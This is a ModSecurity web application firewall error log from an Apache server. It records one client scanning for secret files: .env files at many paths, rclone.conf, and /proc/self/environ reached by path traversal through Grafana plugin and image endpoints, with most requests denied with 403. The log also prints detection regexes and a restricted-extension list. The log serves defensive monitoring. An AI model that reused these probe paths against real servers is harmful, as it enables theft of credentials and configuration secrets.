[Sun Oct 25 13:42:07.949050 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4_b-Rnh_MPFutbQ4Jk6wAAAAE"]
[Sun Oct 25 13:42:07.949318 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4_b-Rnh_MPFutbQ4Jk6wAAAAE"]
[Sun Oct 25 13:42:07.950486 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_nuxt/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_b_wFw76qlSfceadvLQAAAAA"]
[Sun Oct 25 13:42:07.950558 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_b_wFw76qlSfceadvLQAAAAA"]
[Sun Oct 25 13:42:07.950690 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_b_wFw76qlSfceadvLQAAAAA"]
[Sun Oct 25 13:42:07.950948 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_b_wFw76qlSfceadvLQAAAAA"]
[Sun Oct 25 13:42:07.951946 2026] [security2:error] [pid 2867866:tid 2867866] [client 35.203.118.101:50010] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at4_b-TZqNQxsvKVpXkhcQAAABM"]
[Sun Oct 25 13:42:07.952225 2026] [security2:error] [pid 2867866:tid 2867866] [client 35.203.118.101:50010] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at4_b-TZqNQxsvKVpXkhcQAAABM"]
[Sun Oct 25 13:42:07.952454 2026] [security2:error] [pid 2867866:tid 2867866] [client 35.203.118.101:50010] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at4_b-TZqNQxsvKVpXkhcQAAABM"]
[Sun Oct 25 13:42:07.953433 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_b4IGIq5euXyTbvT08QAAACQ"]
[Sun Oct 25 13:42:07.953765 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_b4IGIq5euXyTbvT08QAAACQ"]
[Sun Oct 25 13:42:07.953984 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4_b4IGIq5euXyTbvT08QAAACQ"]
[Sun Oct 25 13:42:08.051539 2026] [security2:error] [pid 2867890:tid 2867890] [client 35.203.118.101:50026] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4_cJkDGkILNr0EMn3BYgAAACw"]
[Sun Oct 25 13:42:08.051979 2026] [security2:error] [pid 2867890:tid 2867890] [client 35.203.118.101:50026] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4_cJkDGkILNr0EMn3BYgAAACw"]
[Sun Oct 25 13:42:08.052222 2026] [security2:error] [pid 2867890:tid 2867890] [client 35.203.118.101:50026] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4_cJkDGkILNr0EMn3BYgAAACw"]
[Sun Oct 25 13:42:08.120703 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4_cFMGGelIHqGysXAatwAAAB8"]
[Sun Oct 25 13:42:08.121173 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4_cFMGGelIHqGysXAatwAAAB8"]
[Sun Oct 25 13:42:08.121435 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4_cFMGGelIHqGysXAatwAAAB8"]
[Sun Oct 25 13:42:08.169158 2026] [core:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50062] AH10244: invalid URI path (/public/plugins/alertlist/../../../../../../../../proc/self/environ)
[Sun Oct 25 13:42:08.179882 2026] [core:error] [pid 2867866:tid 2867866] [client 35.203.118.101:50010] AH10244: invalid URI path (/public/plugins/grafana-clock-panel/../../../../../../../../proc/self/environ)
[Sun Oct 25 13:42:08.220400 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "diag2.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at4_cFMGGelIHqGysXAauAAAAB8"]
[Sun Oct 25 13:42:08.220543 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "diag2.sherwinpinturas.com"] [uri "/_image"] [unique_id "at4_cEnqvEndZSiuRU5OnwAAAA8"]
[Sun Oct 25 13:42:08.220612 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "diag2.sherwinpinturas.com"] [uri "/_image"] [unique_id "at4_cEnqvEndZSiuRU5OnwAAAA8"]
[Sun Oct 25 13:42:08.220669 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "diag2.sherwinpinturas.com"] [uri "/_image"] [unique_id "at4_cEnqvEndZSiuRU5OnwAAAA8"]
[Sun Oct 25 13:42:08.220835 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at4_cFMGGelIHqGysXAauAAAAB8"]
[Sun Oct 25 13:42:08.221181 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/_image"] [unique_id "at4_cEnqvEndZSiuRU5OnwAAAA8"]
[Sun Oct 25 13:42:08.221185 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at4_cFMGGelIHqGysXAauAAAAB8"]
[Sun Oct 25 13:42:08.221412 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/_image"] [unique_id "at4_cEnqvEndZSiuRU5OnwAAAA8"]
[Sun Oct 25 13:42:08.254242 2026] [core:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50000] AH10244: invalid URI path (/public/plugins/text/../../../../../../../../proc/self/environ)
[Sun Oct 25 13:42:08.352879 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50108] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agents/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at4_cHdfzIDEwjyAl3puGwAAACc"]
[Sun Oct 25 13:42:08.353121 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50108] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at4_cHdfzIDEwjyAl3puGwAAACc"]
[Sun Oct 25 13:42:08.353448 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50108] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at4_cHdfzIDEwjyAl3puGwAAACc"]
[Sun Oct 25 13:42:08.385537 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /chatbot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at4_cCjnAS4eJh-ada2MwwAAAA0"]
[Sun Oct 25 13:42:08.385621 2026] [security2:error] [pid 2867866:tid 2867866] [client 35.203.118.101:50066] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agent/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at4_cOTZqNQxsvKVpXkhdAAAABM"]
[Sun Oct 25 13:42:08.385791 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at4_cCjnAS4eJh-ada2MwwAAAA0"]
[Sun Oct 25 13:42:08.385793 2026] [security2:error] [pid 2867866:tid 2867866] [client 35.203.118.101:50066] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at4_cOTZqNQxsvKVpXkhdAAAABM"]
[Sun Oct 25 13:42:08.386082 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at4_cCjnAS4eJh-ada2MwwAAAA0"]
[Sun Oct 25 13:42:08.386094 2026] [security2:error] [pid 2867866:tid 2867866] [client 35.203.118.101:50066] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at4_cOTZqNQxsvKVpXkhdAAAABM"]
[Sun Oct 25 13:42:08.387301 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50108] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at4_cHdfzIDEwjyAl3puHAAAACc"]
